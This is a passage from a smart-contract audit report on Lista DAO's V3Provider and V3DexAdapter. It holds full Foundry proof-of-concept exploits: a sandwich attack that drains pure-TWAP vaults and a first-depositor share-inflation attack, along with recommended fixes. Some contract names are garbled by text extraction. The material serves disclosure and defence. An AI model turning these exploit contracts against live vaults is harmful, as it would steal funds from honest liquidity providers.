- **Vault drain.** A single sandwich — push the pool price away from fair, let the rebalance re-mint the vault's liquidity around that wrong price, then unwind — transfers value to the attacker, and the farther the price is pushed the more is taken, approaching the entire position. **As demonstrated in the PoC**, a single sandwich can drain **almost 100%** of the vault's value. The attacker's profit equals the honest LPs' realized loss.
- **Scope: pure-TWAP pairs.** The drain applies to any pair whose adapter leaves `_1stNativeRate()` returning `0` (a pure-TWAP pair). A rate-implied pair — one that overrides `_1stNativeRate()` with a manipulation-resistant rate — is not affected: its rebalance centers the range on that rate.

## Proof of Concept

```
// SPDX-License-Identifier: MIT pragma solidity 0.8.34;
```

```
import "forge-std/Test.sol"; import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC20Metadata} from
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
```



```
import {Moolah} from "../src/moolah/Moolah.sol"; import {MarketParams, Id} from "moolah/interfaces/IMoolah.sol"; import
{MarketParamsLib} from "moolah/libraries/MarketParamsLib.sol"; import {IOracle, TokenConfig} from
"moolah/interfaces/IOracle.sol";
```

```
import {V3DexAdapter} from "../src/provider/v3/V3DexAdapter.sol"; import {V3Provider} from
"../src/provider/v3/V3Provider.sol"; import {V3ProviderOracle} from "../src/provider/v3/V3ProviderOracle.sol"; import
{V3Provider} from "../src/provider/interfaces/IV3Provider.sol"; import {V3DexAdapter} from
"../src/provider/interfaces/IV3DexAdapter.sol"; import {TickMath} from "lista-dao-contracts/libraries/TickMath.sol";
```

```
// A sandwiched pure-TWAP rebalance re-mints the vault's one-sided inventory thin (stranding it as idle); // the attacker then
forces the permissionless compound to redeploy that idle far from fair and dumps through // it. Both tokens are $1, so PnL ==
 $\Delta(\text{token0} + \text{token1})$ ; honest loss is REALIZED (withdraw-all vs a no-attack // baseline). Real lista-v3 pool + real
Moolah/V3Provider stack, fork-free. // forge test --match-contract V3TwapDrainHeadlinePoC -vv
// --skip V3DirectNftDonationInflationPoC --skip ListaV3HarnessDeployer
```

```
contract HIERc20 is IERC20Metadata { string public name; string public symbol; uint8 public immutable override decimals;
uint256 public override totalSupply; mapping(address => uint256) public override balanceOf; mapping(address =>
mapping(address => uint256)) public override allowance;
```

```
constructor(string memory n, string memory s, uint8 d) {
    name = n;
    symbol = s;
    decimals = d;
}

function mint(address to, uint256 amt) external {
    balanceOf[to] += amt;
    totalSupply += amt;
    emit Transfer(address(0), to, amt);
}

function approve(address sp, uint256 amt) external override returns (bool) {
    allowance[msg.sender][sp] = amt;
    emit Approval(msg.sender, sp, amt);
    return true;
}

function transfer(address to, uint256 amt) external override returns (bool) {
    _transfer(msg.sender, to, amt);
    return true;
}

function transferFrom(address f, address to, uint256 amt) external override returns (bool) {
    uint256 a = allowance[f][msg.sender];
    if (a != type(uint256).max) {
        require(a >= amt, "allowance");
        allowance[f][msg.sender] = a - amt;
    }
    _transfer(f, to, amt);
    return true;
}

function _transfer(address f, address to, uint256 amt) internal {
    require(balanceOf[f] >= amt, "balance");
    balanceOf[f] -= amt;
    balanceOf[to] += amt;
    emit Transfer(f, to, amt);
}
```

```
}
```

```
contract HIOracle is IOracle { mapping(address => uint256) public price;
```

```
function setPrice(address token, uint256 value) external {
    price[token] = value;
}

function peek(address token) external view returns (uint256) {
    return price[token];
}

function getTokenConfig(address token) external pure returns (TokenConfig memory config) {
    config.asset = token;
}
```

```
}
```

// pure-TWAP adapter: no `_lstNativeRate / fairSqrtPriceX96` override, so rebalance centers the range on spot. contract `HITwapAdapter` is `V3DexAdapter` { constructor(address npm, address t0, address t1, uint24 fee, uint32 twap, address wrappedNative) `V3DexAdapter`(npm, t0, t1, fee, twap, wrappedNative) {}

```
function initialize(address admin, address manager, int24 lo, int24 hi) external
initializer {
    __V3DexAdapter_init(admin, manager, lo, hi);
}
```

```
}
```

contract `HIPProvider` is `V3Provider` { constructor(address moolah, address adapter) `V3Provider`(moolah, adapter) {}

```
function initialize(
    address admin,
    address manager,
    address bot,
    address resilientOracle,
    address accountingAsset,
    string calldata name,
    string calldata symbol
) external initializer {
    __V3Provider_init(admin, manager, bot, resilientOracle, accountingAsset, name,
symbol);
}

// BOT-gated forwarder to the onlyProvider adapter rebalance.
function rebalance(
    uint256 minAmount0,
    uint256 minAmount1,
    uint256 minLiquidity,
    uint256 deadline,
    bytes calldata swapData
) external onlyRole(BOT) nonReentrant {
    IV3DexAdapter(ADAPTER).rebalance(minAmount0, minAmount1, minLiquidity, deadline,
swapData);
}
```

```
}
```

```
interface IHINpm { function initialize(address tokenDescriptor) external; function createAndInitializePoolIfNecessary(address
token0, address token1, uint24 fee, uint160 sqrtPriceX96) external payable returns (address pool); function factory() external
view returns (address); }
```

```
interface IHIPool { function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96,
bytes calldata data ) external returns (int256 amount0, int256 amount1); function slot0() external view returns (uint160
sqrtPriceX96, int24 tick, uint16, uint16, uint16, uint8, bool); function tickSpacing() external view returns (int24); function
increaseObservationCardinalityNext(uint16 next) external; }
```

```
// Neutral market maker: pre-accrues two-sided fees and writes TWAP observations. contract HISwapper { IHIPool public
immutable POOL; HIERC20 public immutable t0; HIERC20 public immutable t1; uint160 internal constant MIN_SQRT_RATIO =
4295128739; uint160 internal constant MAX_SQRT_RATIO =
1461446703485210103287273052203988822378723970342;
```

```
constructor(address pool, address token0, address token1) {
    POOL = IHLPool(pool);
    t0 = HIErc20(token0);
    t1 = HIErc20(token1);
}

function uniswapV3SwapCallback(int256 a0, int256 a1, bytes calldata) external {
    require(msg.sender == address(POOL), "only pool");
    if (a0 > 0) t0.transfer(address(POOL), uint256(a0));
    if (a1 > 0) t1.transfer(address(POOL), uint256(a1));
}

function accrueBalancedFees(uint256 amountIn, uint160 lowerLimit, uint160
upperLimit, uint256 rounds) external {
    for (uint256 i = 0; i < rounds; ++i) {
        (, int256 a1) = POOL.swap(address(this), true, int256(amountIn), lowerLimit,
        "");
        uint256 out1 = uint256(-a1);
        if (out1 > 0) POOL.swap(address(this), false, int256(out1), upperLimit, "");
    }
}

function writeObservation() external {
    POOL.swap(address(this), false, int256(0.01 ether), MAX_SQRT_RATIO - 1, "");
}

function recenterTo(uint160 target) external {
    (uint160 cur,,,,,) = POOL.slot0();
    if (cur > target) {
        POOL.swap(address(this), true, int256(uint256(1e30)), target, "");
    } else if (cur < target) {
        POOL.swap(address(this), false, int256(uint256(1e30)), target, "");
    }
}
```

// Holds all attacker capital; drives its own pool swaps and provider deposit/withdraw. PnL ==  $\Delta(\text{token0} + \text{token1})$ . contract  
HIAccessor { IHLPool public immutable POOL; HIErc20 public immutable T0; HIErc20 public immutable T1; IV3Provider public  
immutable PROVIDER; uint160 internal constant MIN\_SQRT\_RATIO = 4295128739; uint160 internal constant  
MAX\_SQRT\_RATIO = 1461446703485210103287273052203988822378723970342;

```
constructor(address pool, address token0, address token1, address provider) {
    POOL = IH1Pool(pool);
    T0 = H1Erc20(token0);
    T1 = H1Erc20(token1);
    PROVIDER = IV3Provider(provider);
    H1Erc20(token0).approve(provider, type(uint256).max);
    H1Erc20(token1).approve(provider, type(uint256).max);
}

function uniswapV3SwapCallback(int256 a0, int256 a1, bytes calldata) external {
    require(msg.sender == address(POOL), "only pool");
    if (a0 > 0) T0.transfer(address(POOL), uint256(a0));
    if (a1 > 0) T1.transfer(address(POOL), uint256(a1));
}

function currentSqrtPrice() public view returns (uint160 s) {
    (s,,,,,) = POOL.slot0();
}

function pushToTick(int24 target) external {
    uint160 limit = TickMath.getSqrtRatioAtTick(target);
    uint160 cur = currentSqrtPrice();
    if (cur > limit) {
        POOL.swap(address(this), true, int256(uint256(1e30)), limit, "");
    } else if (cur < limit) {
        POOL.swap(address(this), false, int256(uint256(1e30)), limit, "");
    }
}

function recenterTo(uint160 target) external {
    uint160 cur = currentSqrtPrice();
    if (cur > target) {
        POOL.swap(address(this), true, int256(uint256(1e30)), target, "");
    } else if (cur < target) {
        POOL.swap(address(this), false, int256(uint256(1e30)), target, "");
    }
}

// Self-heal for a one-sided in-range compound revert: a two-sided-fee round-trip,
// ~0 net spot move.
function healRoundTrip(uint256 amountIn) external {
    (, int256 a1) = POOL.swap(address(this), true, int256(amountIn), MIN_SQRT_RATIO
+ 1, "");
    uint256 out1 = uint256(-a1);
    if (out1 > 0) POOL.swap(address(this), false, int256(out1), MAX_SQRT_RATIO - 1,
    "");
}

function deposit(MarketParams calldata mp, uint256 a0, uint256 a1)
```



```
external
returns (uint256 shares, uint256 used0, uint256 used1)
{
    return PROVIDER.deposit(mp, a0, a1, 0, 0, address(this));
}

function withdraw(MarketParams calldata mp, uint256 shares) external returns
(uint256 amt0, uint256 amt1) {
    return PROVIDER.withdraw(mp, shares, 0, 0, address(this), address(this));
}

function totalBalance() external view returns (uint256) {
    return T0.balanceOf(address(this)) + T1.balanceOf(address(this));
}
}
```

contract V3TwapDrainHeadlinePoC is Test { using MarketParamsLib for MarketParams;

```
uint24 internal constant FEE = 500; // tickSpacing 10, 0.05%
uint32 internal constant TWAP_PERIOD = 300;
uint160 internal constant ONE_TO_ONE_SQRT_PRICE_X96 = 79228162514264337593543950336;
// tick 0
int24 internal constant INIT_LOWER = -600;
int24 internal constant INIT_UPPER = 600;
uint256 internal constant PRICE_1_USD = 1e8;
uint256 internal constant LLTV = 80e16;

uint256 internal constant HONEST0 = 10_000 ether;
uint256 internal constant HONEST1 = 10_000 ether;
uint256 internal constant POSITION = HONEST0 + HONEST1;
uint256 internal constant ATTACKER_FUND = 1_000_000 ether;

string internal constant FACTORY_ARTIFACT = "lib/lista-
v3/out/ListaV3Factory.sol/ListaV3Factory.json";
string internal constant NPM_ARTIFACT =
    "lib/lista-
v3/out/NonfungiblePositionManager.sol/NonfungiblePositionManager.json";

address internal admin = makeAddr("admin");
address internal manager = makeAddr("manager");
address internal bot = makeAddr("bot");
address internal honest = makeAddr("honest");

Moolah internal moolah;
H1Erc20 internal token0;
H1Erc20 internal token1;
H1Erc20 internal loanToken;
H1Erc20 internal wrappedNative;
H1Oracle internal oracle;
H1TwapAdapter internal adapter;
H1Provider internal provider;
V3ProviderOracle internal providerOracle;
address internal npm;
address internal pool;
H1Swapper internal swapper;
H1Attacker internal attacker;
MarketParams internal marketParams;
Id internal marketId;

uint256 internal honestShares;

function _deployBytecode(string memory artifact, bytes memory args) internal returns
(address addr) {
    bytes memory code = abi.encodePacked(vm.getCode(artifact), args);
    assembly {
        addr := create(0, add(code, 0x20), mload(code))
    }
}
```

```
require(addr != address(0), "bytecode deploy failed");
}

function _deployAdapter() internal returns (HlTwapAdapter a) {
    HlTwapAdapter impl =
        new HlTwapAdapter(npm, address(token0), address(token1), FEE, TWAP_PERIOD,
address(wrappedNative));
    a = HlTwapAdapter(
        payable(
            new ERC1967Proxy(
                address(impl), abi.encodeCall(HlTwapAdapter.initialize, (admin,
manager, INIT_LOWER, INIT_UPPER))
            )
        )
    );
}

function setUp() public {
    token0 = new HlErc20("Token A", "TK0", 18);
    token1 = new HlErc20("Token B", "TK1", 18);
    if (address(token0) > address(token1)) (token0, token1) = (token1, token0);
    loanToken = new HlErc20("Loan", "LOAN", 18);
    wrappedNative = new HlErc20("Wrapped Native", "WNATIVE", 18);

    // Real lista-v3 factory / NPM / pool from prebuilt bytecode, initialized at
tick 0 (1:1).
    address factory = _deployBytecode(FACTORY_ARTIFACT, "");
    npm = _deployBytecode(NPM_ARTIFACT, abi.encode(factory,
address(wrappedNative)));
    IHlNpm(npm).initialize(address(0));
    pool = IHlNpm(npm).createAndInitializePoolIfNecessary(
        address(token0), address(token1), FEE, ONE_TO_ONE_SQRT_PRICE_X96
    );
    require(pool != address(0), "pool not created");

    Moolah moolahImpl = new Moolah();
    moolah = Moolah(
        address(new ERC1967Proxy(address(moolahImpl),
abi.encodeCall(Moolah.initialize, (admin, manager, admin, 0))))
    );

    oracle = new HlOracle();
    oracle.setPrice(address(token0), PRICE_1_USD);
    oracle.setPrice(address(token1), PRICE_1_USD);
    oracle.setPrice(address(loanToken), PRICE_1_USD);

    adapter = _deployAdapter();

    HlProvider providerImpl = new HlProvider(address(moolah), address(adapter));
    provider = HlProvider(
```

```
payable(
    new ERC1967Proxy(
        address(providerImpl),
        abi.encodeCall(
            H1Provider.initialize,
            (admin, manager, bot, address(oracle), address(token1), "V3
VLP", "VLP")
        )
    )
);

vm.prank(admin);
adapter.setProvider(address(provider));

V3ProviderOracle providerOracleImpl =
    new V3ProviderOracle(address(adapter), address(provider), address(token0),
address(token1));
providerOracle = V3ProviderOracle(
    payable(
        new ERC1967Proxy(
            address(providerOracleImpl),
            abi.encodeCall(V3ProviderOracle.initialize, (admin, manager,
address(oracle), uint256(0)))
        )
    )
);

marketParams = MarketParams({
    loanToken: address(loanToken),
    collateralToken: address(provider),
    oracle: address(providerOracle),
    irm: address(0),
    lltv: LLTV
});
marketId = marketParams.id();

// Production deploy path for V3: createMarket + direct setProvider.
vm.startPrank(manager);
moolah.enableIrm(address(0));
moolah.enableLltv(LLTV);
vm.stopPrank();
moolah.createMarket(marketParams);
vm.prank(manager);
moolah.setProvider(marketId, address(provider), true);

token0.mint(honest, HONEST0);
token1.mint(honest, HONEST1);
vm.startPrank(honest);
```

```
token0.approve(address(provider), type(uint256).max);
token1.approve(address(provider), type(uint256).max);
vm.stopPrank();

swapper = new HlSwapper(pool, address(token0), address(token1));
token0.mint(address(swapper), 100_000 ether);
token1.mint(address(swapper), 100_000 ether);

attacker = new HlAttacker(pool, address(token0), address(token1),
address(provider));
token0.mint(address(attacker), ATTACKER_FUND);
token1.mint(address(attacker), ATTACKER_FUND);
}

// A ~10x push drains ~90% of the position in one sandwich, with attacker gain ==
honest realized loss to a
// few wei (exact conservation). A smaller push drains less; pushing farther
approaches a ~100% drain.
function test_idleRedeployDrain() public {
    uint256 baseline = _establishBaseline();
    (int256 attackerPnL, int256 honestLoss, uint256 idleStranded, uint256
idleAfterDeploy) =
        _runAttack(int24(23027), baseline);

    emit log_named_uint("control: honest realizable, NO attack (wei)", baseline);
    emit log_named_uint("idle stranded by sandwiched rebalance (t1, wei)",
idleStranded);
    emit log_named_uint("idle remaining after forced compound (t1, wei)",
idleAfterDeploy);
    emit log_named_int("attacker profit (wei)", attackerPnL);
    emit log_named_int("honest LP REALIZED loss (wei)", honestLoss);
    emit log_named_uint("honest loss as bps of position", uint256(honestLoss) *
10000 / POSITION);
    emit log_named_int("conservation residual (attackerPnL - honestLoss)",
attackerPnL - honestLoss);

    assertEq(idleAfterDeploy, 0, "one-sided idle deployed by the forced compound");
    assertGt(attackerPnL, int256(0), "attack must be profitable");
    assertGt(honestLoss, int256(POSITION * 80 / 100), "honest loses > 80% of
position");
    uint256 absResidual =
        attackerPnL >= honestLoss ? uint256(attackerPnL - honestLoss) :
uint256(honestLoss - attackerPnL);
    assertLt(absResidual, 1e9, "attacker gain == honest realized loss (to dust)");
}

function _runAttack(int24 pushTick, uint256 baseline)
    internal
    returns (int256 attackerPnL, int256 honestLoss, uint256 idleStranded, uint256
idleAfterDeploy)
```

```
{
    _establish();
    uint256 aStart = attacker.totalBalance();

    // 1) push out of range and sandwich the BOT rebalance: the thin re-mint strands
    one-sided idle.
    attacker.pushToTick(pushTick);
    if (_botRebalance()) return (int256(0), int256(0), 0, 0);
    idleStranded = adapter.idleToken1();

    // 2) push just above the new range so the one-sided token1 idle is addable.
    attacker.pushToTick(adapter.tickUpper() + int24(60));

    // 3) force the permissionless compound: the idle is redeployed as an above-fair
    bid for token0.
    (uint256 dustShares,,,,) = _depositWithHeal(1 ether, 1 ether);
    idleAfterDeploy = adapter.idleToken1();

    // 4) dump back to fair through that bid, then unwind the dust deposit.
    attacker.recenterTo(ONE_TO_ONE_SQRT_PRICE_X96);
    _withdrawWithHeal(dustShares);
    attacker.recenterTo(ONE_TO_ONE_SQRT_PRICE_X96);

    attackerPnL = int256(attacker.totalBalance()) - int256(aStart);
    (uint256 honestRealized,,) = _honestRealizeWithHeal();
    honestLoss = int256(baseline) - int256(honestRealized);
}

// Honest realizable value with NO attack. `_establish` is deterministic across
// snapshot/revert.
function _establishBaseline() internal returns (uint256 baseline) {
    uint256 snap = vm.snapshotState();
    _establish();
    (baseline,,) = _honestRealizeWithHeal();
    vm.revertToState(snap);
}

function _establish() internal {
    IHLPool(pool).increaseObservationCardinalityNext(64);

    // Age the creation observation past TWAP_PERIOD before the first deposit
    (deposit reads observe([300,0])).
    vm.warp(block.timestamp + uint256(TWAP_PERIOD) + 100);

    vm.prank(honest);
    (honestShares,,) = provider.deposit(marketParams, HONEST0, HONEST1, 0, 0,
    honest);
    assertGt(honestShares, 0, "honest shares seeded");
    assertTrue(adapter.tokenId() != 0, "position seeded");
}
```



```
// Pre-accrue two-sided fees so the first pre-rebalance compound is not one-
sided-locked.
uint160 lo = TickMath.getSqrtRatioAtTick(-540);
uint160 hi = TickMath.getSqrtRatioAtTick(540);
swapper.accrueBalancedFees(5 ether, lo, hi, 20);
swapper.recenterTo(ONE_TO_ONE_SQRT_PRICE_X96);

// Write a fresh observation, then pin tick 0 (do NOT warp after, so a spot push
does not move the TWAP).
vm.warp(block.timestamp + 12);
swapper.writeObservation();
vm.warp(block.timestamp + 12);
swapper.recenterTo(ONE_TO_ONE_SQRT_PRICE_X96);
}

function _botRebalance() internal returns (bool reverted) {
    vm.prank(bot);
    try provider.rebalance(0, 0, 0, block.timestamp + 1, "") {
        reverted = false;
    } catch {
        reverted = true;
    }
}

// deposit/withdraw/realize run on one-sided idle, which can revert the pre-op
compound; self-heal + retry.
function _depositWithHeal(uint256 a0, uint256 a1)
    internal
    returns (uint256 shares, uint256 used0, uint256 used1, bool healed, bool
    blocked)
{
    try attacker.deposit(marketParams, a0, a1) returns (uint256 s, uint256 u0,
    uint256 u1) {
        return (s, u0, u1, false, false);
    } catch {
        attacker.healRoundTrip(0.5 ether);
        try attacker.deposit(marketParams, a0, a1) returns (uint256 s2, uint256 u02,
    uint256 u12) {
            return (s2, u02, u12, true, false);
        } catch {
            return (0, 0, 0, true, true);
        }
    }
}

function _withdrawWithHeal(uint256 shares)
    internal
    returns (uint256 out0, uint256 out1, bool healed, bool blocked)
{
    if (shares == 0) return (0, 0, false, false);
```

```

    try attacker.withdraw(marketParams, shares) returns (uint256 o0, uint256 o1) {
        return (o0, o1, false, false);
    } catch {
        attacker.healRoundTrip(0.5 ether);
        try attacker.withdraw(marketParams, shares) returns (uint256 o02, uint256
o12) {
            return (o02, o12, true, false);
        } catch {
            return (0, 0, true, true);
        }
    }
}

// Honest holder realizes their claim by withdrawing all shares; returns realized
token0+token1.
function _honestRealizeWithHeal() internal returns (uint256 proceeds, bool healed,
bool blocked) {
    vm.prank(honest);
    try provider.withdraw(marketParams, honestShares, 0, 0, honest, honest) returns
(uint256 h0, uint256 h1) {
        return (h0 + h1, false, false);
    } catch {
        attacker.healRoundTrip(0.5 ether);
        vm.prank(honest);
        try provider.withdraw(marketParams, honestShares, 0, 0, honest, honest)
returns (uint256 h0b, uint256 h1b) {
            return (h0b + h1b, true, false);
        } catch {
            return (0, true, true);
        }
    }
}
}
}

```

## Recommendation

- Center the fallback (`centerRate == 0`) range on the pool TWAP tick (`_twapTick()`), which the adapter already computes, rather than the `slot0` spot tick.
- Give `_collectAndCompound` a fair-value slippage floor, derive `amount0Min` / `amount1Min` from `fairSqrtPriceX96()` and pass them to `increaseLiquidity`, and just skip the compound when it fails.
- Only use the TWAP fallback for deep, low-volatility pairs.

## LDV-03 | First-Depositor Share Inflation Through A Permissionless Increase Liquidity Donation

| Category               | Severity | Location                                               | Status  |
|------------------------|----------|--------------------------------------------------------|---------|
| Financial Manipulation | Medium   | src/provider/v3/V3Provider.sol (06/26-110544): 191-280 | Pending |

### Description

`V3Provider.deposit()` mints vault shares from the raw proportional formula  $\text{shares} = \text{addedValue} * \text{supplyBefore} / \text{totalValueBefore}$ , reading the vault NAV live from the adapter's V3 position, but it applies **no inflation defense** — no virtual shares/assets offset, no permanent dead-share lock, and no `minShares` bound. The position NAV is `POSITION_MANAGER.positions(tokenId).liquidity` priced into token amounts, and the position manager's `increaseLiquidity` is **permissionless** while the adapter's `tokenId` is public, so anyone can raise the reported NAV without minting any shares. Combined with the ability to compress vault supply to **one share wei** (deposit then withdraw), this is the classic ERC-4626 first-depositor inflation attack: the attacker inflates the price per share, and the next real depositor's shares round down — losing a slice of principal to the attacker, or rounding to zero and reverting the deposit. The attacker recovers the donation pro rata on redemption, so the setup is close to capital-neutral.

### Vulnerability Detail

`deposit()` reads `supplyBefore` and the live position value, then mints against them with the raw ratio and no `minShares`. Its only early-out on the value read is a zero-NAV revert, and the mint has no lower bound on the resulting share count beyond `shares != 0`.

```
// File: src/provider/v3/V3Provider.sol
// Lines 229-236
uint256 totalValueBefore;
uint256 supplyBefore = totalSupply();
uint160 fairSqrtPriceX96 = IV3DexAdapter(ADAPTER).fairSqrtPriceX96();
if (supplyBefore > 0) {
    (uint256 total0Before, uint256 total1Before) =
IV3DexAdapter(ADAPTER).positionAmountsAt(fairSqrtPriceX96);
    totalValueBefore = _amountsValueUsd(total0Before, total1Before);
    if (totalValueBefore == 0) revert ZeroShares();
}
```

```
// File: src/provider/v3/V3Provider.sol
// Lines 256-264
(uint256 added0, uint256 added1) =
IV3DexAdapter(ADAPTER).amountsForLiquidity(liquidityAdded, fairSqrtPriceX96);
uint256 addedValue = _amountsValueUsd(added0, added1);
if (supplyBefore == 0) {
    uint256 assetPrice = IOracle(resilientOracle).peek(asset()); // 8 decimals
    if (assetPrice > 0) shares = (addedValue * (10 **
uint256(accountingAssetDecimals))) / assetPrice;
} else {
    shares = (addedValue * supplyBefore) / totalValueBefore; // raw ratio, no
virtual offset
}
if (shares == 0) revert ZeroShares(); // rounds down: victim gets fewer or zero
shares
```

The `totalValueBefore` that the mint divides by is read straight from the live position liquidity:

```
// File: src/provider/v3/V3DexAdapter.sol
// Lines 405-421
function positionAmountsAt(uint160 sqrtPriceX96) public view returns (uint256
total0, uint256 total1) {
    if (tokenId == 0) return (idleToken0, idleToken1);

    (, , , , , , uint128 liquidity, , , uint128 tokensOwed0, uint128 tokensOwed1)
= POSITION_MANAGER.positions(
    tokenId
);

    (uint256 amount0, uint256 amount1) = LiquidityAmounts.getAmountsForLiquidity(
        sqrtPriceX96,
        TickMath.getSqrtRatioAtTick(tickLower),
        TickMath.getSqrtRatioAtTick(tickUpper),
        liquidity
    );

    total0 = amount0 + uint256(tokensOwed0) + idleToken0;
    total1 = amount1 + uint256(tokensOwed1) + idleToken1;
}
```

## The inflation mechanic

Once the vault is bootstrapped (`supplyBefore > 0`), a deposit mints `shares = floor(addedValue * supplyBefore / totalValueBefore)`. The attack needs two conditions at once, and the defense has to close both:

- **A compressible supply:** with `supplyBefore == 1`, one share is priced at the entire NAV, so the victim mints `floor(V_victim / NAV)`. An inflated NAV makes this floor round the victim's share count down, and the value lost to that rounding accrues to the attacker's existing share.

- **An inflatable NAV:** `totalValueBefore` derives from `positions(tokenId).liquidity`, which a third party can increase directly.

## Why the NAV is inflatable

The adapter prices the position from `POSITION_MANAGER.positions(tokenId).liquidity`, and `tokenId` is public. On the PancakeSwap/Uniswap V3 position manager, `increaseLiquidity` carries **no** `isAuthorizedForToken` modifier — unlike `decreaseLiquidity`, `collect`, and `burn` — so any address can add liquidity to the adapter's position and raise `liquidity`, and therefore `positionAmountsAt` and `totalValueBefore`, without minting a single vault share. The adapter's idle-inventory tracking (`idleToken0/1`, held in storage) only defends against **plain ERC-20 transfers** into the adapter. It does not defend against `increaseLiquidity`, which writes the exact `position.liquidity` value the NAV reads.

## Why supply reaches one wei

The first-deposit branch scales by `10 ** accountingAssetDecimals / assetPrice`, which behaves like a decimals offset. It bounds only the **first** mint amount, not the **minimum supply**, and there is no permanent dead-share lock. The attacker deposits a normal amount, then `withdraw` s down to exactly `1` share wei, recovering almost all of its own capital. From there `supplyBefore == 1` and the running formula carries no virtual offset, so the classic inflation proceeds.

## Attack path

Target a fresh vault/market at bootstrap, front-running the first real depositor. The `1.9999... -> 1` rounding below is the worst single-deposit case; the numbers use round value units.

1. Deposit a small amount to create the position and mint `S_a`, then `withdraw` down to `1` share wei. Supply is now `1`.
2. Call `NPM.increaseLiquidity(adapter.tokenId(), ...)` directly, donating `1,000` units of liquidity to the adapter's position. `positionAmountsAt` now reports `NAV = 1,000` at a supply of `1`, so one share is priced at `1,000`. No shares were minted for the donation.
3. The victim deposits `V = 1,999` units. The mint computes `shares_v = floor(V * supplyBefore / totalValueBefore) = floor(1,999 * 1 / 1,000) = floor(1.9999...) = 1`. The victim's deposit funds `1.9999...` shares of value but is issued `1` — half the shares it paid for.
4. The pool now holds `1,000 + 1,999 = 2,999` units across `2` shares, so each share is worth `1,499.5`. The attacker redeems its `1` share for `1,499.5`, a `+499.5` gain on its `1,000` donation, and the victim's `1` share is worth `1,499.5` against its `1,999` deposit.

The victim funded `~2` shares and received `1`, so half of the shares its deposit paid for are absorbed into the attacker's pre-existing share. Because the two shares then split the pool evenly, the realized transfer to the attacker is the `499.5` gap, roughly `25%` of the victim's deposit. Sizing the donation so `V / NAV` sits just under an integer maximizes this rounding loss, and front-running a larger first deposit scales the absolute amount.

## Impact

- **Theft:** the victim is issued shares with value less than its deposit funds, and front-running a larger deposit scales the absolute loss.
- **Deposit denial of service:** sizing the donation so the victim's deposit computes to fewer than 1 share rounds it to 0 and reverts with `ZeroShares`, blocking new deposits until someone overpays.

## ■ Proof of Concept



```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.34;

import "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC20Metadata} from
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";

import {Moolah} from "../../src/moolah/Moolah.sol";
import {MarketParams, Id} from "moolah/interfaces/IMoolah.sol";
import {MarketParamsLib} from "moolah/libraries/MarketParamsLib.sol";
import {IOracle, TokenConfig} from "moolah/interfaces/IOracle.sol";
import {V3DexAdapter} from "../../src/provider/v3/V3DexAdapter.sol";
import {V3Provider} from "../../src/provider/v3/V3Provider.sol";
import {V3ProviderOracle} from "../../src/provider/v3/V3ProviderOracle.sol";
import {INonfungiblePositionManager} from
"../../src/provider/interfaces/INonfungiblePositionManager.sol";
import {ListaV3HarnessDeployer} from "../../poc/ListaV3HarnessDeployer.sol";

interface ILocalNpm is INonfungiblePositionManager {
    function createAndInitializePoolIfNecessary(address token0, address token1,
uint24 fee, uint160 sqrtPriceX96)
        external
        payable
        returns (address pool);
}

contract DonationErc20 is IERC20Metadata {
    string public name;
    string public symbol;
    uint8 public immutable override decimals;
    uint256 public override totalSupply;
    mapping(address => uint256) public override balanceOf;
    mapping(address => mapping(address => uint256)) public override allowance;

    constructor(string memory name_, string memory symbol_, uint8 decimals_) {
        name = name_;
        symbol = symbol_;
        decimals = decimals_;
    }

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
        emit Transfer(address(0), to, amount);
    }
}
```

```
function approve(address spender, uint256 amount) external override returns
(bool) {
    allowance[msg.sender][spender] = amount;
    emit Approval(msg.sender, spender, amount);
    return true;
}

function transfer(address to, uint256 amount) external override returns (bool) {
    _transfer(msg.sender, to, amount);
    return true;
}

function transferFrom(address from, address to, uint256 amount) external
override returns (bool) {
    uint256 allowed = allowance[from][msg.sender];
    if (allowed != type(uint256).max) {
        require(allowed >= amount, "allowance");
        allowance[from][msg.sender] = allowed - amount;
    }
    _transfer(from, to, amount);
    return true;
}

function _transfer(address from, address to, uint256 amount) internal {
    require(balanceOf[from] >= amount, "balance");
    balanceOf[from] -= amount;
    balanceOf[to] += amount;
    emit Transfer(from, to, amount);
}
}

contract DonationOracle is IOracle {
    mapping(address => uint256) public price;

    function setPrice(address token, uint256 value) external {
        price[token] = value;
    }

    function peek(address token) external view returns (uint256) {
        return price[token];
    }

    function getTokenConfig(address token) external pure returns (TokenConfig memory
config) {
        config.asset = token;
    }
}

contract DonationDexAdapter is V3DexAdapter {
```

```
uint160 internal constant ONE_TO_ONE_SQRT_PRICE_X96 =
79228162514264337593543950336;

constructor(address npm, address token0, address token1, uint24 fee, address
wrappedNative)
    V3DexAdapter(npm, token0, token1, fee, 1, wrappedNative)
{}

function initialize(address admin, address manager) external initializer {
    __V3DexAdapter_init(admin, manager, -600, 600);
}

function fairSqrtPriceX96() public pure override returns (uint160) {
    return ONE_TO_ONE_SQRT_PRICE_X96;
}
}

contract DonationProvider is V3Provider {
    constructor(address moolah, address adapter) V3Provider(moolah, adapter) {}

    function initialize(
        address admin,
        address manager,
        address bot,
        address resilientOracle,
        address accountingAsset,
        string calldata name,
        string calldata symbol
    ) external initializer {
        __V3Provider_init(admin, manager, bot, resilientOracle, accountingAsset,
name, symbol);
    }
}

contract V3DirectNftDonationInflationPoC is Test {
    using MarketParamsLib for MarketParams;

    uint24 internal constant FEE = 3000;
    uint160 internal constant ONE_TO_ONE_SQRT_PRICE_X96 =
79228162514264337593543950336;
    uint256 internal constant PRICE_1_USD = 1e8;
    uint256 internal constant LLTV = 80e16;

    address internal admin = makeAddr("admin");
    address internal manager = makeAddr("manager");
    address internal bot = makeAddr("bot");
    address internal attacker = makeAddr("attacker");
    address internal victim = makeAddr("victim");

    Moolah internal moolah;
```

```
DonationErc20 internal token0;
DonationErc20 internal token1;
DonationErc20 internal loanToken;
DonationErc20 internal wrappedNative;
DonationOracle internal oracle;
DonationDexAdapter internal adapter;
DonationProvider internal provider;
V3ProviderOracle internal providerOracle;
ILocalNpm internal npm;
